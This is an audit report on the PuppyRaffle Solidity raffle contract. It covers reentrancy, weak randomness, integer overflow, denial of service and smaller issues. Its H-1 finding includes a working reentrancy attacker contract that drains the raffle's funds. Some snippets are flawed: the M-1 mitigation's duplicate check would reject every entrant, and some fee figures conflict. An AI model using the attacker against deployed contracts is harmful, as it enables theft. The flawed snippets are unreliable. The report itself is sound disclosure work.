



PuppyRaffle Audit Report

Version 1.0

Abyss

August 11, 2025

Protocol Audit Report

Abyss

August 11, 2025

Prepared by: Abyss Lead Auditors:

- Abyss

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance
 - * [H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy
 - * [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

- Medium
 - * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants
 - * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
 - * [M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
- Low
 - * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle
- Gas
 - * [G-1] Unchanged state variables should be declared constant or immutable
 - * [G-2] Storage Variables in a Loop Should be Cached
- Informational
 - * [I-1] Solidity pragma should be specific, not wide
 - * [I-2] Using an Outdated Version of Solidity is Not Recommended
 - * [I-3] Missing checks for `address(0)` when assigning values to address state variables
 - * [I-4] does not follow CEI, which is not a best practice
 - * [I-5] Use of “magic” numbers is discouraged
 - * [I-6] State Changes are Missing Events
 - * [I-7] `_isActivePlayer` is never used and should be removed

Protocol Summary

The PuppyRaffle contract is a decentralized raffle system where users can enter by paying an entrance fee. After a specified duration, a winner is randomly selected from the entrants, and they receive a prize along with an NFT representing their win. The contract also collects fees for the platform.

Disclaimer

The Abyss team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash:

```
1 0804be9b0fd17db9e2953e27e9de46585be870cf
```

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

- Owner- Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Lovely puppy raffle smart contract with some interesting features. The contract is well documented and easy to understand. However, there are some high severity issues that need to be addressed.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Gas	2
Info	7
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1    function refund(uint256 playerIndex) public {
2        address playerAddress = players[playerIndex];
3        require(playerAddress == msg.sender, "PuppyRaffle: Only the
4            player can refund");
5        require(playerAddress != address(0), "PuppyRaffle: Player
6            already refunded, or is not active");
7    @> payable(msg.sender).sendValue(entranceFee);
8    @> players[playerIndex] = address(0);
9        emit RaffleRefunded(playerAddress);
10    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1 function test_reentrancyRefund() public {
2     address[] memory players = new address[](4);
3     players[0] = playerOne;
4     players[1] = playerTwo;
5     players[2] = playerThree;
6     players[3] = playerFour;
7     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9     ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10         puppyRaffle);
11     address attackUser = makeAddr("attackUser");
12     vm.deal(attackUser, 1 ether);
13
14     uint256 startingAttackContractBalance = address(
15         attackerContract).balance;
16     uint256 startingContractBalance = address(puppyRaffle).balance;
17
18     //attackerContract
19     vm.prank(attackUser);
20     attackerContract.attack{value: entranceFee}();
21
22     console.log("Starting attack contract balance",
23         startingAttackContractBalance);
24     console.log("Starting puppy raffle contract balance",
25         startingContractBalance);
26
27     console.log("Ending attack contract balance", address(
28         attackerContract).balance);
29     console.log("Ending puppy raffle contract balance", address(
30         puppyRaffle).balance);
31 }
```

And this contract as well.

```
1 contract ReentrancyAttacker {
2     PuppyRaffle puppyRaffle;
3     uint256 entranceFee;
4     uint256 attackerIndex;
5
6     constructor(PuppyRaffle _puppyRaffle) {
7         puppyRaffle = _puppyRaffle;
8         entranceFee = _puppyRaffle.entranceFee();
9     }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: msg.value}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
16         ;
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     function _stealMoney() internal {
21         if (address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     receive() external payable {
27         _stealMoney();
28     }
29
30     fallback() external payable {
31         _stealMoney();
32     }
33 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the
4         player can refund");
5     require(playerAddress != address(0), "PuppyRaffle: Player
6         already refunded, or is not active");
7     + players[playerIndex] = address(0);
8     + emit RaffleRefunded(playerAddress);
9     payable(msg.sender).sendValue(entranceFee);
10    - players[playerIndex] = address(0);
11    - emit RaffleRefunded(playerAddress);
12 }
```

[H-2] Weak Randomness in PuppyRaffle::selectWinner allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of PuppyRaffle::totalFees loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1    uint64 myVar = type(uint64).max
2    // 18446744073709551615
3    myVar = myVar + 1
4    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:
- 4.

```
1 totalFees = totalFees + uint64(fee);
2 // aka
3 totalFees = 8000000000000000000 + 178000000000000000
4 // and this will overflow
5 totalFees = 153255926290448384
```

1. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol.

Code

```
1 function testTotalFeesOverflow() public playersEntered {
2     // We finish a raffle of 4 to collect some fees
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
5     puppyRaffle.selectWinner();
6     uint256 startingTotalFees = puppyRaffle.totalFees();
7     // startingTotalFees = 8000000000000000000
8
9     // We then have 89 players enter a new raffle
10    uint256 playersNum = 89;
11    address[] memory players = new address[](playersNum);
12    for (uint256 i = 0; i < playersNum; i++) {
13        players[i] = address(i);
14    }
15    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
16    // We end the raffle
17    vm.warp(block.timestamp + duration + 1);
18    vm.roll(block.number + 1);
19
20    // And here is where the issue occurs
21    // We will now have fewer fees even though we just finished a
22    // second raffle
23    puppyRaffle.selectWinner();
24
25    uint256 endingTotalFees = puppyRaffle.totalFees();
26    console.log("ending total fees", endingTotalFees);
```

```
26     assert(endingTotalFees < startingTotalFees);
27
28     // We are also unable to withdraw any fees because of the require
        check
29     vm.prank(puppyRaffle.feeAddress());
30     vm.expectRevert("PuppyRaffle: There are currently players active!");
        ;
31     puppyRaffle.withdrawFees();
32 }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's [SafeMath](#) to prevent integer overflows.

1. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

2. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
        There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through `players` array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1 // DoS Attack
2 @>     for (uint256 i = 0; i < players.length - 1; i++) {
3         for (uint256 j = i + 1; j < players.length; j++) {
4             require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
5         }
6     }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: Gas cost of the first 100 players: 6523175 gas Gas cost of the second 100 players: 18995512 gas

This is more than 3 times expensive for the second 100 players.

Proof of Code

```
1 function testDenialOfService() public {
2     // Foundry lets us set a gas price
3     vm.txGasPrice(1);
4
5     // Creates 100 addresses
6     uint256 playersNum = 100;
7     address[] memory players = new address[](playersNum);
8     for (uint256 i = 0; i < players.length; i++) {
9         players[i] = address(i);
10    }
11
12    // Gas calculations for first 100 players
13    uint256 gasStart = gasleft();
14    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        players);
15    uint256 gasEnd = gasleft();
16    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
17    console.log("Gas cost of the first 100 players: ", gasUsedFirst);
18
19    // Creates another array of 100 players
20    address[] memory playersTwo = new address[](playersNum);
21    for (uint256 i = 0; i < playersTwo.length; i++) {
22        playersTwo[i] = address(i + playersNum);
23    }
24
25    // Gas calculations for second 100 players
```

```
26     uint256 gasStartTwo = gasleft();
27     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        playersTwo);
28     uint256 gasEndTwo = gasleft();
29     uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;
30     console.log("Gas cost of the second 100 players: ", gasUsedSecond
        );
31
32     assert(gasUsedSecond > gasUsedFirst);
33 }
```

Recommended Mitigation:

1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle id.

```
1 +     mapping(address => uint256) public addressToRaffleId;
2 +     uint256 public raffleId = 0;
3     .
4     .
5     .
6     function enterRaffle(address[] memory newPlayers) public payable {
7         require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
8         for (uint256 i = 0; i < newPlayers.length; i++) {
9             players.push(newPlayers[i]);
10 +             addressToRaffleId[newPlayers[i]] = raffleId;
11         }
12
13 -         // Check for duplicates
14 +         // Check for duplicates only from the new players
15 +         for (uint256 i = 0; i < newPlayers.length; i++) {
16 +             require(addressToRaffleId[newPlayers[i]] != raffleId, "
            PuppyRaffle: Duplicate player");
17 +         }
18 -         for (uint256 i = 0; i < players.length; i++) {
19 -             for (uint256 j = i + 1; j < players.length; j++) {
20 -                 require(players[i] != players[j], "PuppyRaffle:
            Duplicate player");
21 -             }
22 -         }
23         emit RaffleEnter(newPlayers);
24     }
25     .
26     .
27     .
```

```
28     function selectWinner() external {
29 +         raffleId = raffleId + 1;
30         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use OpenZeppelin's EnumerableSet library [<https://docs.openzeppelin.com/contracts/5.x>].

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1     function selectWinner() external {
2         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
3         require(players.length > 0, "PuppyRaffle: No players in raffle"
            );
4
5         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
            sender, block.timestamp, block.difficulty))) % players.
            length;
6         address winner = players[winnerIndex];
7         uint256 fee = totalFees / 10;
8         uint256 winnings = address(this).balance - fee;
9 @>         totalFees = totalFees + uint64(fee);
10        players = new address[] (0);
11        emit RaffleWinner(winner, winnings);
12    }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
```

```
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
3 .
4 .
5 .
6     function selectWinner() external {
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
8         require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
9         uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -         totalFees = totalFees + uint64(fee);
16 +         totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.

2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

```
1     function getActivePlayerIndex(address player) external view returns
      (uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
5             }
6         }
7         return 0;
8     }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 + uint256 playersLength = players.length;
2 - for (uint256 i = 0; i < players.length - 1; i++) {
3 + for (uint256 i = 0; i < playersLength - 1; i++) {
4 -     for (uint256 j = i + 1; j < players.length; j++) {
5 +     for (uint256 j = i + 1; j < playersLength; j++) {
6         require(players[i] != players[j], "PuppyRaffle: Duplicate player"
7             );
8     }
9 }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in `src/PuppyRaffle.sol` Line: 3

```
1 pragma solidity ^0.7.6;
```


[I-2] Using an Outdated Version of Solidity is Not Recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation

Recommendations:

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for address (0) when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
1 feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 159

```
1 previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 182

```
1 feeAddress = newFeeAddress;
```

[I-4] does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 - (bool success,) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to winner"
   );
3   _safeMint(winner, tokenId);
4 + (bool success,) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to winner"
   );
```

[I-5] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1      uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2      uint256 public constant FEE_PERCENTAGE = 20;
3      uint256 public constant POOL_PRECISION = 100;
4
5      uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
6      / POOL_PRECISION;
7
8      uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
9      POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples:

- `PuppyRaffle::totalFees` within the `selectWinner` function
- `PuppyRaffle::raffleStartTime` within the `selectWinner` function
- `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] `_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 - function _isActivePlayer() internal view returns (bool) {
2 -     for (uint256 i = 0; i < players.length; i++) {
3 -         if (players[i] == msg.sender) {
4 -             return true;
5 -         }
6 -     }
7 -     return false;
8 - }
```